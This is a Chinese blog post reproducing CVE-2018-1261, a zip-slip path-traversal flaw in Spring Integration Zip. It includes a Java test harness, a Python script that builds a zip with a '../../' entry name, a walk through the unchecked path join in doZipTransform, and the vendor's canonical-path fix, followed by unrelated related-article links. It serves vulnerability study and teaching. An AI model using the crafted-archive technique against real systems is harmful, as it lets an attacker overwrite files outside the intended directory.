不敢说分析,还是太菜了,多学习。

文章来源: 猎户安全实验室

存在漏洞的源码下载地址:https://github.com/spring-projects/spring-integration-extensions/releases/tag/zip.v1.0.0.RELEASE

代码下载两眼相望了好久,第一次弄这些东西,踩了好久的坑,边踩边学习。

用的是IDEA来复现: 终端打开到zip的文件夹,然后./gradlew idea 。直接就能直接用IDEA打开了。

漏洞地址:org/springframework/integration/zip/transformer/UnZipTransformerTests.java

这里的都是官方例子。

仿造官方例子写个测试类。

	@Test
public void unzipCve() throws IOException, InterruptedException { final Resource resource = this.resourceLoader.getResource("classpath:testzipdata/test1.zip");
final InputStream upZipFile = resource.getInputStream();
UnZipTransformer unZipTransformer = new UnZipTransformer();
unZipTransformer.setWorkDirectory(new File("/Users/yangxiaodi/java/CVE-2018-1261/spring-integration-extensions-zip.v1.0.0.RELEASE/spring-integration-zip/src/test/resources/testzipdata/"));
unZipTransformer.setZipResultType(ZipResultType.FILE);//设置类型(FILE, BYTE_ARRAY)
unZipTransformer.afterPropertiesSet(); Message<InputStream> message = MessageBuilder.withPayload(upZipFile).build(); unZipTransformer.transform(message);//漏洞入口。
System.out.println("over");
} }

  

这里的zip解压要用 到../../../z.txt格式的压缩文件,用python脚本生成一个。

import zipfile

if __name__ == "__main__":
try:
binary = b'ddddsss'
zipFile = zipfile.ZipFile("test1.zip", "a", zipfile.ZIP_DEFLATED)
info = zipfile.ZipInfo("test1.zip")
zipFile.writestr("../../dddwwtest.txt", binary)
zipFile.close()
except IOError as e:
raise e

  

东西都准备妥当了,开始分析漏洞吧。

漏洞入口:

unZipTransformer.transform(message);

接着调用org/springframework/integration/zip/transformer/AbstractZipTransformer.java 下的doTransform()函数。

	@Override
protected Object doTransform(Message<?> message) throws Exception {
Assert.notNull(message, "message must not be null");
final Object payload = message.getPayload();
Assert.notNull(payload, "payload must not be null"); return doZipTransform(message);//往下调用doZipTransform函数
}

  

在调用org/springframework/integration/zip/transformer/UnZipTransformer.java 下的doZipTransform() 函数。

漏洞就出现在doZipTransform()函数。具体代码位置:

				ZipUtil.iterate(inputStream, new ZipEntryCallback() {//漏洞没过滤的地方

					@Override
public void process(InputStream zipEntryInputStream, ZipEntry zipEntry) throws IOException { final String zipEntryName = zipEntry.getName();
final long zipEntryTime = zipEntry.getTime();
final long zipEntryCompressedSize = zipEntry.getCompressedSize();
final String type = zipEntry.isDirectory() ? "directory" : "file"; if (logger.isInfoEnabled()) {
logger.info(String.format("Unpacking Zip Entry - Name: '%s',Time: '%s', " +
"Compressed Size: '%s', Type: '%s'",
zipEntryName, zipEntryTime, zipEntryCompressedSize, type));
} if (ZipResultType.FILE.equals(zipResultType)) {
final File tempDir = new File(workDirectory, message.getHeaders().getId().toString());
tempDir.mkdirs(); //NOSONAR false positive,创建文件夹
final File destinationFile = new File(tempDir, zipEntryName); if (zipEntry.isDirectory()) {
destinationFile.mkdirs(); //NOSONAR false positive
}
else {
SpringZipUtils.copy(zipEntryInputStream, destinationFile);
uncompressedData.put(zipEntryName, destinationFile);
}
}
else if (ZipResultType.BYTE_ARRAY.equals(zipResultType)) {
if (!zipEntry.isDirectory()) {
byte[] data = IOUtils.toByteArray(zipEntryInputStream);
uncompressedData.put(zipEntryName, data);
}
}
else {
throw new IllegalStateException("Unsupported zipResultType " + zipResultType);
}
}

  

调用ZipUtil.iterate()函数,然后利用回调函数ZipEntryCallback()去处理解压出来的内容。

这里的final String zipEntryName = zipEntry.getName();  //就是解压出来的文件内容,

在final File destinationFile = new File(tempDir, zipEntryName); //这里没任何过滤就进行文件路径和文件名的拼接。

然后下面两句代码把文件给复制过去。

SpringZipUtils.copy(zipEntryInputStream, destinationFile);
uncompressedData.put(zipEntryName, destinationFile);

这里有个坑,就是../../../z.txt 的文件,不能存在未创建的文件夹路径,例如:   ../../zzz/z.txt ,在zzz文件夹不存在的情况下,会报错。

这里来看下他们官方的漏洞修复,增加了一个路径检测函数。官方地址

					public File checkPath(final Message<?> message, final String zipEntryName) throws IOException {
final File tempDir = new File(workDirectory, message.getHeaders().getId().toString());
tempDir.mkdirs(); //NOSONAR false positive
final File destinationFile = new File(tempDir, zipEntryName); /* If we see the relative traversal string of ".." we need to make sure
* that the outputdir + name doesn't leave the outputdir.
*/
if (!destinationFile.getCanonicalPath().startsWith(workDirectory.getCanonicalPath())) {
throw new ZipException("The file " + zipEntryName +
" is trying to leave the target output directory of " + workDirectory);
}
return destinationFile;
}

  

主要看这句话:

if (!destinationFile.getCanonicalPath().startsWith(workDirectory.getCanonicalPath()))

如果destinationFile.getCanonicalPath() 也就是当前的全文件路径,例如: /etc/s/../passwd ,会变成/etc/passwd ,

全文件路径中 开头不包含workDirectory.getCanonicalPath() 的路径,就报错。 例如:/etc/s/  ,而workDirectory是定义的路径。

综上就是路径不能往前跳转。

这种路径检测方法还是学到了,本以为会过滤“..” 这样的字符串,直接对比两次的路径也是个好方法

Spring Integration Zip不安全解压(CVE-2018-1261)漏洞复现的更多相关文章

  1. ref:Spring Integration Zip 不安全解压(CVE-2018-1261)漏洞分析

    ref:https://mp.weixin.qq.com/s/SJPXdZWNKypvWmL-roIE0Q 0x00 漏洞概览 漏洞名称:Spring Integration Zip不安全解压 漏洞编 ...

  2. liunx之zip格式的解压命令

    zip -r myfile.zip ./* 将当前目录下的所有文件和文件夹全部压缩成myfile.zip文件,-r表示递归压缩子目录下所有文件. 2.unzip unzip -o -d /home/s ...

  3. 正确的 zip 压缩与解压代码

    网上流传的zip压缩与解压 的代码有非常大的问题 尽管使用了ant进行压缩与解压,可是任务的流程还是用的java.util.zip 的方式写的,我在使用的过程中遇到了压缩的文件夹结构有误,甚至出现不同 ...

  4. Android之zip文件加密解压及进度条的实现

    zip文件的解压能够使用java的zip库,可是没有实现对加密文件的解压功能,这里能够使用zip4j来实现.详细能够參看该文<Android下zip压缩文件加密解密的完美解决方式>.该文件 ...

  5. java zip 压缩与解压

    java zip 压缩与解压 import java.io.BufferedInputStream; import java.io.BufferedOutputStream; import java. ...

  6. 文件操作工具类: 文件/目录的创建、删除、移动、复制、zip压缩与解压.

    FileOperationUtils.java package com.xnl.utils; import java.io.BufferedInputStream; import java.io.Bu ...

  7. Linux tar.gz 、zip、rar 解压 压缩命令

    tar -c: 建立压缩档案 -x:解压 -t:查看内容 -r:向压缩归档文件末尾追加文件 -u:更新原压缩包中的文件 这五个是独立的命令,压缩解压都要用到其中一个,可以和别的命令连用但只能用其中一个 ...

  8. 「Python实用秘技01」复杂zip文件的解压

    本文完整示例代码及文件已上传至我的Github仓库https://github.com/CNFeffery/PythonPracticalSkills 这是我的新系列文章「Python实用秘技」的第1 ...

  9. zip压缩,解压

    //引用 System.IO.Compression.FileSystem.dll var basePath = AppDomain.CurrentDomain.BaseDirectory; Syst ...

随机推荐

  1. servler中表单加了enctype="multipart/form-data"属性后request就接收不到表单传过来的值了

    在解决博问node.js接受参数的时候,发现当form中添加enctype:"multipart/form-data",后台确实获取不到数据,于是跑到百度上查了一下,终于明白为什么 ...

  2. vue+mui轮播图

    mui的轮播图,如果图片是请求来的,直接在html中循环是不会动的. 需要请求完图片之后,在setTimeout方法里,使用slider()方法,这样才会动 而且mui的轮播图,有点坑的,需要重复最后 ...

  3. vba中变量作用域

      参考:http://club.excelhome.net/thread-1237085-1-1.html 全局变量例子public 变量1 AS IntegerSub LLL()变量1 = 111 ...

  4. idea的maven项目不知道为啥下载不下来jar包,看本地仓库只是下载了一下xml文件,没有jar包问题

    确认了私服上的jar包能直接下载下来,而且jar包是正常的:但是就是不能通过idea下载,通过idea下载到本地仓库的只生成了.lastUpdated文件,检查了setting.xml文件.网络,私服 ...

  5. 简单的dialog,类似alert弹框

    function alertPop(content){ $.dialog({ title:"提示", width:400, height:100, padding:'5px', c ...

  6. matlab画无向图,基于坐标的无向图联系作者

    %函数名netplot %使用方法输入请help netplot %无返回值 %函数只能处理无向图 %作者:tiandsp %最后修改: function netplot(A,flag) %调用方法输 ...

  7. 手机开发-Android

    Android 语言.JAVA 开发环境.一是JDKjava开发工具包,二是eclipse开发工具IDE,三是Android SDK安卓软件开发包,四是ADT Android开发工具把JDK和Andr ...

  8. kepware http接口 c语言(libcrul)开发

    列出所有变量 CURL *hnd = curl_easy_init(); curl_easy_setopt(hnd, CURLOPT_CUSTOMREQUEST, "GET"); ...

  9. spring-aop代理的生效原理

    主要说下spring里aop的生效的原理吧,并不是讲底层的cglib和gdk动态代理. 还是老一套的分析流程,先找到了aop的标签的handler,然后看下在解析这个标签的时候,都干了些什么,其实主要 ...

  10. 转载:$(function() {}),即$(document).ready(function(),什么时候执行?以此为准,真理

    转载:https://blog.csdn.net/Ideality_hunter/article/details/77935656 $(function() { //执行操作 }); $(functi ...